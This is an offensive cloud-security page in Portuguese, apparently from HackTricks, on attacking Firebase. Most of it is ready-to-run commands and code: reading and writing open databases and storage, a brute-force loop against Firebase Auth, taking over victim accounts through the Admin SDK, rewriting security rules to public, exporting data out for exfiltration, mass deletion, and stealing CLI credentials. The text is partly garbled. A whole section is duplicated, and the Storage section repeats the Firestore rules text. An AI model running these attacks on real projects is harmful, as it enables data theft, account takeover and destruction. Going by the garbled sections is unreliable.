GCP - Firebase Privesc

Tip

Aprenda e pratique Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Aprenda e pratique Hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Support HackTricks

Firebase

Acesso não autenticado ao Firebase Realtime Database

Um atacante não precisa de permissões específicas do Firebase para realizar este ataque. É necessário apenas que exista uma configuração vulnerável nas regras de segurança do Firebase Realtime Database, em que as regras estão definidas com .read: true ou .write: true, permitindo acesso público de leitura ou escrita.

O atacante deve identificar a URL do banco de dados, que normalmente segue o formato: https://<project-id>.firebaseio.com/.

Essa URL pode ser encontrada por meio de engenharia reversa de aplicações móveis (decompilando APKs Android ou analisando apps iOS), analisando arquivos de configuração como google-services.json (Android) ou GoogleService-Info.plist (iOS), inspecionando o código-fonte de aplicações web, ou examinando tráfego de rede para identificar requisições a domínios *.firebaseio.com.

O atacante identifica a URL do banco de dados e verifica se ela está exposta publicamente, então acessa os dados e potencialmente grava informações maliciosas.

Primeiro, o atacante verifica se o banco de dados permite acesso de leitura adicionando .json à URL.

curl https://<project-id>-default-rtdb.firebaseio.com/.json

Se a resposta contiver dados JSON ou null (em vez de “Permission Denied”), o banco de dados permite acesso de leitura. Para verificar o acesso de escrita, o atacante pode tentar enviar uma requisição de escrita de teste usando a Firebase REST API.

curl -X PUT https://<project-id>-default-rtdb.firebaseio.com/test.json -d '{"test": "data"}'

Se a operação for bem-sucedida, o banco de dados também permite acesso de gravação.

Exposição de dados no Cloud Firestore

Um atacante não precisa de permissões específicas do Firebase para realizar este ataque. É necessário apenas que exista uma configuração vulnerável nas security rules do Cloud Firestore em que as regras permitam acesso de leitura ou gravação sem autenticação ou com validação insuficiente. Um exemplo de uma regra mal configurada que concede acesso total é:

service cloud.firestore {
match /databases/{database}/documents/{document=**} {
allow read, write: if true;
}
}

Esta regra permite que qualquer pessoa leia e escreva todos os documentos sem qualquer restrição. As regras do Firestore são granulares e se aplicam por coleção e documento, então um erro em uma regra específica pode expor apenas certas coleções.

O atacante deve identificar o Firebase Project ID, que pode ser encontrado por meio de mobile app reverse engineering, análise de arquivos de configuração como google-services.json ou GoogleService-Info.plist, inspeção do código-fonte de aplicações web, ou análise do tráfego de rede para identificar requisições para firestore.googleapis.com. A Firestore REST API usa o formato:

https://firestore.googleapis.com/v1/projects/<PROJECT_ID>/databases/(default)/documents/<collection>/<document>

Se as regras permitirem acesso de leitura não autenticado, o atacante pode ler coleções e documentos. Primeiro, o atacante tenta acessar uma coleção específica:

curl https://firestore.googleapis.com/v1/projects/<PROJECT_ID>/databases/(default)/documents/<collection>

Se a resposta contiver documentos JSON em vez de um erro de permissão, a coleção está exposta. O atacante pode enumerar todas as coleções acessíveis tentando nomes comuns ou analisando a estrutura da aplicação. Para acessar um documento específico:

curl https://firestore.googleapis.com/v1/projects/<PROJECT_ID>/databases/(default)/documents/<collection>/<document>

Se as regras permitirem acesso de escrita não autenticado ou tiverem validação insuficiente, o atacante pode criar novos documentos:

curl -X POST https://firestore.googleapis.com/v1/projects/<PROJECT_ID>/databases/(default)/documents/<collection> \
-H "Content-Type: application/json" \
-d '{
"fields": {
"name": {"stringValue": "Test"},
"email": {"stringValue": "test@example.com"}
}
}'

Para modificar um documento existente deve-se utilizar PATCH:

curl -X PATCH https://firestore.googleapis.com/v1/projects/<PROJECT_ID>/databases/(default)/documents/users/<user-id> \
-H "Content-Type: application/json" \
-d '{
"fields": {
"role": {"stringValue": "admin"}
}
}'

Para eliminar um documento e causar negação de serviço:

curl -X DELETE https://firestore.googleapis.com/v1/projects/<PROJECT_ID>/databases/(default)/documents/<collection>/<document>

Exposição de arquivos no Firebase Storage

Um atacante não precisa de permissões específicas do Firebase para realizar este ataque. Basta que exista uma configuração vulnerável nas regras de segurança do Firebase Storage em que as regras permitem acesso de leitura ou gravação sem autenticação ou com validação insuficiente. As regras de Storage controlam as permissões de leitura e gravação de forma independente, então um erro em uma regra pode expor apenas o acesso de leitura, apenas o de gravação, ou ambos. Um exemplo de regra mal configurada que concede acesso total é:

service cloud.firestore {
match /databases/{database}/documents/{document=**} {
allow read, write: if true;
}
}

Esta regra permite acesso de leitura e escrita a todos os documentos sem quaisquer restrições. As regras do Firestore são granulares e são aplicadas por coleção e por documento, portanto um erro em uma regra específica pode expor apenas certas coleções. O atacante deve identificar o Firebase Project ID, que pode ser encontrado através de engenharia reversa de aplicações móveis, análise de arquivos de configuração como google-services.json ou GoogleService-Info.plist, inspeção do código-fonte da aplicação web ou análise do tráfego de rede para identificar requisições a firestore.googleapis.com. A REST API do Firestore usa o formato:https://firestore.googleapis.com/v1/projects/<PROJECT_ID>/databases/(default)/documents/<collection>/<document>.

Se as regras permitirem acesso de leitura não autenticado, o atacante pode ler coleções e documentos. Primeiro, eles tentam acessar uma coleção específica.

curl "https://firebasestorage.googleapis.com/v0/b/<bucket>/o"
curl "https://firebasestorage.googleapis.com/v0/b/<bucket>/o?prefix=<path>"

Se a resposta contiver a lista de arquivos em vez de um erro de permissão, o arquivo está exposto. O atacante pode visualizar o conteúdo dos arquivos especificando o seu caminho:

curl "https://firebasestorage.googleapis.com/v0/b/<bucket>/o/<urlencode(path)>"

Se as regras permitirem acesso de escrita não autenticado ou tiverem validação insuficiente, o atacante pode fazer upload de arquivos maliciosos. Para fazer upload de um arquivo através da REST API:

curl -X POST "https://firebasestorage.googleapis.com/v0/b/<bucket>/o?name=<path>" \
-H "Content-Type: <content-type>" \
--data-binary @<local-file>

O atacante pode carregar code shells, malware payloads ou arquivos grandes para causar um denial of service. Se a aplicação processar ou executar arquivos carregados, o atacante pode conseguir remote code execution. Para excluir arquivos e causar um denial of service:

curl -X DELETE "https://firebasestorage.googleapis.com/v0/b/<bucket>/o/<path>"

Invocação de Firebase Cloud Functions públicos

Um atacante não precisa de permissões específicas do Firebase para explorar esse problema; basta que uma Cloud Function esteja acessível publicamente por HTTP sem autenticação.

Uma função é vulnerável quando está configurada de forma insegura:

  • Usa functions.https.onRequest, que não aplica autenticação (ao contrário de onCall functions).
  • O código da função não valida a autenticação do usuário (por exemplo, sem verificações para request.auth ou context.auth).
  • A função é acessível publicamente no IAM, ou seja, allUsers possui o papel roles/cloudfunctions.invoker. Esse é o comportamento padrão para HTTP functions, a menos que o desenvolvedor restrinja o acesso.

Firebase HTTP Cloud Functions são expostas por URLs como:

  • https://<region>-<project-id>.cloudfunctions.net/<function-name>
  • https://<project-id>.web.app/<function-name> (quando integrado ao Firebase Hosting)

Um atacante pode descobrir essas URLs por meio de análise de código-fonte, inspeção de tráfego de rede, ferramentas de enumeração ou engenharia reversa de apps móveis. Se a função estiver exposta publicamente e sem autenticação, o atacante pode invocá-la diretamente sem credenciais.

# Invoke public HTTP function with GET
curl "https://<region>-<project-id>.cloudfunctions.net/<function-name>"
# Invoke public HTTP function with POST and data
curl -X POST "https://<region>-<project-id>.cloudfunctions.net/<function-name>" \
-H "Content-Type: application/json" \
-d '{"param1": "value1", "param2": "value2"}'

Se a função não validar corretamente as entradas, o atacante pode tentar outros ataques, como code injection ou command injection.

Brute-force attack against Firebase Authentication with a weak password policy

Um atacante não precisa de permissões específicas do Firebase para realizar este ataque. Ele apenas requer que a Firebase API Key esteja exposta em aplicações móveis ou web, e que a política de senhas não tenha sido configurada com requisitos mais rígidos do que os padrões.

O atacante deve identificar a Firebase API Key, que pode ser encontrada através de mobile app reverse engineering, análise de arquivos de configuração como google-services.json ou GoogleService-Info.plist, inspeção do código-fonte de aplicações web (por exemplo, em bootstrap.js), ou análise de tráfego de rede.

A REST API do Firebase Authentication usa o endpoint: https://identitytoolkit.googleapis.com/v1/accounts:signInWithPassword?key=<API_KEY> para autenticar com email e senha.

Se Email Enumeration Protection estiver desabilitado, respostas de erro da API podem revelar se um email existe no sistema (EMAIL_NOT_FOUND vs. INVALID_PASSWORD), o que permite que atacantes enumerem usuários antes de tentar adivinhação de senhas. Quando essa proteção está habilitada, a API retorna a mesma mensagem de erro tanto para emails inexistentes quanto para senhas incorretas, impedindo a enumeração de usuários.

É importante notar que o Firebase Authentication aplica limitação de taxa, que pode bloquear requisições se muitas tentativas de autenticação ocorrerem em um curto período. Por causa disso, um atacante teria que introduzir atrasos entre as tentativas para evitar ser bloqueado pela limitação de taxa.

O atacante identifica a API Key e realiza tentativas de autenticação com múltiplas senhas contra contas conhecidas. Se Email Enumeration Protection estiver desabilitado, o atacante pode enumerar usuários existentes analisando as respostas de erro:

# Attempt authentication with a known email and an incorrect password
curl -X POST "https://identitytoolkit.googleapis.com/v1/accounts:signInWithPassword?key=<API_KEY>" \
-H "Content-Type: application/json" \
-d '{
"email": "usuario@example.com",
"password": "password",
"returnSecureToken": true
}'

Se a resposta contiver EMAIL_NOT_FOUND, o email não existe no sistema. Se contiver INVALID_PASSWORD, o email existe mas a senha está incorreta, confirmando que o usuário está registrado. Uma vez identificado um usuário válido, o atacante pode realizar tentativas de brute-force. É importante incluir pausas entre as tentativas para evitar os mecanismos de rate-limiting do Firebase Authentication:

counter=1
for password in $(cat wordlist.txt); do
echo "Intento $counter: probando contraseña '$password'"
response=$(curl -s -X POST "https://identitytoolkit.googleapis.com/v1/accounts:signInWithPassword?key=<API_KEY>" \
-H "Content-Type: application/json" \
-d "{\"email\":\"usuario@example.com\",\"password\":\"$password\",\"returnSecureToken\":true}")

if echo "$response" | grep -q "idToken"; then
echo "Contraseña encontrada: $password (intento $counter)"
break
fi

# Stop for the rate limiting
sleep 1
counter=$((counter + 1))
done

Com a política de senha padrão (mínimo de 6 caracteres, sem requisitos de complexidade), o atacante pode tentar todas as combinações possíveis de senhas de 6 caracteres, o que representa um espaço de busca relativamente pequeno comparado a políticas de senha mais rígidas.

Gerenciamento de usuários no Firebase Authentication

O atacante precisa de permissões específicas do Firebase Authentication para realizar este ataque. As permissões necessárias são:

  • firebaseauth.users.create para criar usuários
  • firebaseauth.users.update para modificar usuários existentes
  • firebaseauth.users.delete para deletar usuários
  • firebaseauth.users.get para recuperar informações de usuários
  • firebaseauth.users.sendEmail para enviar e-mails para usuários
  • firebaseauth.users.createSession para criar sessões de usuário

Essas permissões estão incluídas na role roles/firebaseauth.admin, que concede acesso total de leitura/gravação aos recursos do Firebase Authentication. Elas também estão incluídas em roles de nível superior, como roles/firebase.developAdmin (que inclui todas as permissões firebaseauth.*) e roles/firebase.admin (acesso total a todos os serviços Firebase).

Para usar o Firebase Admin SDK, o atacante precisaria de acesso às credenciais da conta de serviço (arquivo JSON), que podem ser encontradas em sistemas comprometidos, repositórios de código expostos publicamente, sistemas CI/CD comprometidos ou por meio da compromissão de contas de desenvolvedor que têm acesso a essas credenciais.

O primeiro passo é configurar o Firebase Admin SDK usando as credenciais da conta de serviço.

import firebase_admin
from firebase_admin import credentials, auth
cred = credentials.Certificate('path/to/serviceAccountKey.json')
firebase_admin.initialize_app(cred)

Para criar um usuário malicioso usando o e-mail da vítima, o atacante tentaria usar o Firebase Admin SDK para gerar uma nova conta com esse e-mail.

user = auth.create_user(
email='victima@example.com',
email_verified=False,
password='password123',
display_name='Usuario Malicioso',
disabled=False
)
print(f'Usuario creado: {user.uid}')

Para modificar um usuário existente, o atacante atualizaria campos como o endereço de e-mail, o status de verificação ou se a conta está desativada.

user = auth.update_user(
uid,
email='nuevo-email@example.com',
email_verified=True,
disabled=False
)
print(f'Usuario actualizado: {user.uid}')

Para excluir uma conta de usuário e causar uma denial of service, o atacante enviaria uma solicitação para remover o usuário completamente.

auth.delete_user(uid)
print('Usuario eliminado exitosamente')

O atacante também pode recuperar informações sobre usuários existentes solicitando seus UID ou endereço de e-mail.

user = auth.get_user(uid)
print(f'Información del usuario: {user.uid}, {user.email}')
user = auth.get_user_by_email('usuario@example.com')
print(f'Información del usuario: {user.uid}, {user.email}')

Além disso, o atacante poderia gerar links de verificação ou de redefinição de senha para alterar a senha de um usuário e obter acesso à sua conta.

link = auth.generate_email_verification_link(email)
print(f'Link de verificación: {link}')
link = auth.generate_password_reset_link(email)
print(f'Link de reset: {link}')

Gerenciamento de usuários no Firebase Authentication

Um atacante precisa de permissões específicas do Firebase Authentication para realizar este ataque. As permissões necessárias são:

  • firebaseauth.users.create para criar usuários
  • firebaseauth.users.update para modificar usuários existentes
  • firebaseauth.users.delete para deletar usuários
  • firebaseauth.users.get para obter informações de usuários
  • firebaseauth.users.sendEmail para enviar emails para usuários
  • firebaseauth.users.createSession para criar sessões de usuário

Essas permissões estão incluídas na role roles/firebaseauth.admin, que concede acesso completo de leitura/gravação aos recursos do Firebase Authentication. Elas também fazem parte de roles de nível superior, como roles/firebase.developAdmin (que inclui todas as permissões firebaseauth.*) e roles/firebase.admin (acesso total a todos os serviços do Firebase).

Para usar o Firebase Admin SDK, o atacante precisaria de acesso a service account credentials (um JSON file), que poderiam ser obtidas a partir de sistemas comprometidos, repositórios de código expostos publicamente, ambientes CI/CD comprometidos, ou através do comprometimento de contas de desenvolvedor que tenham acesso a essas credenciais.

O primeiro passo é configurar o Firebase Admin SDK usando service account credentials.

import firebase_admin
from firebase_admin import credentials, auth
cred = credentials.Certificate('path/to/serviceAccountKey.json')
firebase_admin.initialize_app(cred)

Para criar um usuário malicioso usando o e-mail da vítima, o atacante tentaria criar uma nova conta de usuário com esse e-mail, atribuindo sua própria senha e informações de perfil.

user = auth.create_user(
email='victima@example.com',
email_verified=False,
password='password123',
display_name='Usuario Malicioso',
disabled=False
)
print(f'Usuario creado: {user.uid}')

Para modificar um usuário existente, o atacante alteraria campos como o endereço de e-mail, o status de verificação ou se a conta está desativada.

user = auth.update_user(
uid,
email='nuevo-email@example.com',
email_verified=True,
disabled=False
)
print(f'Usuario actualizado: {user.uid}')

Para excluir uma conta de usuário — efetivamente causando um denial of service — o atacante enviaria uma solicitação para remover permanentemente esse usuário.

auth.delete_user(uid)
print('Usuario eliminado exitosamente')

O atacante também poderia recuperar informações sobre usuários existentes, como o UID ou o email, solicitando detalhes do usuário pelo UID ou pelo endereço de email.

user = auth.get_user(uid)
print(f'Información del usuario: {user.uid}, {user.email}')
user = auth.get_user_by_email('usuario@example.com')
print(f'Información del usuario: {user.uid}, {user.email}')

Além disso, o atacante poderia gerar links de verificação ou links de password-reset, permitindo que ele altere a password de um usuário e assuma o controle da conta.

link = auth.generate_email_verification_link(email)
print(f'Link de verificación: {link}')
link = auth.generate_password_reset_link(email)
print(f'Link de reset: {link}')

Modificação das regras de segurança nos serviços Firebase

O atacante precisa de permissões específicas para modificar as regras de segurança, dependendo do serviço. Para Cloud Firestore e Firebase Cloud Storage, as permissões necessárias são firebaserules.rulesets.create para criar rulesets e firebaserules.releases.create para implantar releases. Essas permissões estão incluídas no papel roles/firebaserules.admin ou em papéis de nível superior, como roles/firebase.developAdmin e roles/firebase.admin. Para Firebase Realtime Database, a permissão necessária é firebasedatabase.instances.update.

O atacante deve usar a Firebase REST API para modificar as regras de segurança. Primeiro, o atacante precisaria obter um access token usando service account credentials. Para obter o token:

gcloud auth activate-service-account --key-file=path/to/serviceAccountKey.json
ACCESS_TOKEN=$(gcloud auth print-access-token)

Para modificar as regras do Firebase Realtime Database:

curl -X PUT "https://<project-id>-default-rtdb.firebaseio.com/.settings/rules.json?access_token=$ACCESS_TOKEN" \
-H "Content-Type: application/json" \
-d '{
"rules": {
".read": true,
".write": true
}
}'

Para modificar as Cloud Firestore rules, o attacker deve criar um ruleset e então implantá-lo:

curl -X POST "https://firebaserules.googleapis.com/v1/projects/<project-id>/rulesets" \
-H "Authorization: Bearer $ACCESS_TOKEN" \
-H "Content-Type: application/json" \
-d '{
"source": {
"files": [{
"name": "firestore.rules",
"content": "rules_version = '\''2'\'';\nservice cloud.firestore {\n  match /databases/{database}/documents {\n    match /{document=**} {\n      allow read, write: if true;\n    }\n  }\n}"
}]
}
}'

O comando anterior retorna o nome do ruleset no formato projects//rulesets/. Para implantar a nova versão, o release deve ser atualizado usando uma PATCH request:

curl -X PATCH "https://firebaserules.googleapis.com/v1/projects/<project-id>/releases/cloud.firestore" \
-H "Authorization: Bearer $ACCESS_TOKEN" \
-H "Content-Type: application/json" \
-d '{
"release": {
"name": "projects/<project-id>/releases/cloud.firestore",
"rulesetName": "projects/<project-id>/rulesets/<ruleset-id>"
}
}'

Para modificar as regras do Firebase Cloud Storage:

curl -X POST "https://firebaserules.googleapis.com/v1/projects/<project-id>/rulesets" \
-H "Authorization: Bearer $ACCESS_TOKEN" \
-H "Content-Type: application/json" \
-d '{
"source": {
"files": [{
"name": "storage.rules",
"content": "service firebase.storage {\n  match /b/{bucket}/o {\n    match /{allPaths=**} {\n      allow read, write: if true;\n    }\n  }\n}"
}]
}
}'

O comando anterior retorna um nome de ruleset no formato projects//rulesets/. Para implantar a nova versão, o release deve ser atualizado usando uma requisição PATCH:

curl -X PATCH "https://firebaserules.googleapis.com/v1/projects/<project-id>/releases/firebase.storage/<bucket-id>" \
-H "Authorization: Bearer $ACCESS_TOKEN" \
-H "Content-Type: application/json" \
-d '{
"release": {
"name": "projects/<project-id>/releases/firebase.storage/<bucket-id>",
"rulesetName": "projects/<project-id>/rulesets/<ruleset-id>"
}
}'

Exfiltração e manipulação de dados no Cloud Firestore

Cloud Firestore usa a mesma infraestrutura e sistema de permissões do Cloud Datastore, portanto as permissões IAM do Datastore se aplicam diretamente ao Firestore. Para manipular políticas de TTL, a permissão datastore.indexes.update é necessária. Para exportar dados, a permissão datastore.databases.export é necessária. Para importar dados, a permissão datastore.databases.import é necessária. Para realizar exclusão em massa de dados, a permissão datastore.databases.bulkDelete é necessária.

Para operações de backup e restauração, permissões específicas são necessárias:

  • datastore.backups.get e datastore.backups.list para listar e recuperar detalhes dos backups disponíveis
  • datastore.backups.delete para excluir backups
  • datastore.backups.restoreDatabase para restaurar um banco de dados a partir de um backup
  • datastore.backupSchedules.create e datastore.backupSchedules.delete para gerenciar agendamentos de backup

Quando uma política de TTL é criada, uma propriedade designada é selecionada para identificar entidades elegíveis para exclusão. Essa propriedade de TTL deve ser do tipo Date and time. O atacante pode escolher uma propriedade que já exista ou designar uma propriedade que pretenda adicionar depois. Se o valor do campo for uma data no passado, o documento se torna elegível para exclusão imediata. O atacante pode usar o gcloud CLI para manipular políticas de TTL.

# Enable TTL
gcloud firestore fields ttls update expireAt \
--collection-group=users \
--enable-ttl
# Disable TTL
gcloud firestore fields ttls update expireAt \
--collection-group=users \
--disable-ttl

Para exportar dados e exfiltrate-os, o attacker poderia usar o gcloud CLI.

gcloud firestore export gs://<bucket-name> --project=<project-id> --async --database='(default)'

Para importar dados maliciosos:

gcloud firestore import gs://<bucket-name>/<path> --project=<project-id> --async --database='(default)'

Para realizar mass data deletion e causar um denial of service, o atacante poderia usar a ferramenta gcloud Firestore bulk-delete para remover coleções inteiras.

gcloud firestore bulk-delete \
--collection-ids=users,posts,messages \
--database='(default)' \
--project=<project-id>

Para operações de backup e restauração, o atacante poderia criar backups agendados para capturar o estado atual do banco de dados, listar backups existentes, restaurar a partir de um backup para sobrescrever alterações recentes, excluir backups para causar perda permanente de dados e remover backups agendados. Para criar um agendamento diário de backups que gere imediatamente um backup:

gcloud firestore backups schedules create \
--database='(default)' \
--recurrence=daily \
--retention=14w \
--project=<project-id>

Para restaurar a partir de um backup específico, o atacante poderia criar um novo banco de dados usando os dados contidos nesse backup. A operação de restauração grava os dados do backup em um novo banco de dados, o que significa que um DATABASE_ID existente não pode ser usado.

gcloud firestore databases restore \
--source-backup=projects/<project-id>/locations/<location>/backups/<backup-id> \
--destination-database='<new-database-id>' \
--project=<project-id>

Para excluir um backup e causar perda permanente de dados:

gcloud firestore backups delete \
--backup=<backup-id> \
--project=<project-id>

Roubo e uso indevido das credenciais do Firebase CLI

Um atacante não precisa de permissões específicas do Firebase para executar este ataque, mas precisa de acesso ao sistema local do desenvolvedor ou ao arquivo de credenciais do Firebase CLI.

Estas credenciais são armazenadas em um arquivo JSON localizado em:

  • Linux/macOS: ~/.config/configstore/firebase-tools.json

  • Windows: C:\Users[User].config\configstore\firebase-tools.json

Este arquivo contém tokens de autenticação, incluindo o refresh_token e o access_token, que permitem ao atacante autenticar-se como o usuário que originalmente executou firebase login.

O atacante obtém acesso ao arquivo de credenciais do Firebase CLI. O atacante pode então copiar o arquivo inteiro para seu próprio sistema, e o Firebase CLI usará automaticamente as credenciais do seu local padrão. Depois disso, o atacante pode visualizar todos os projetos do Firebase acessíveis a esse usuário.

firebase projects:list

Tip

Aprenda e pratique Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Aprenda e pratique Hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Support HackTricks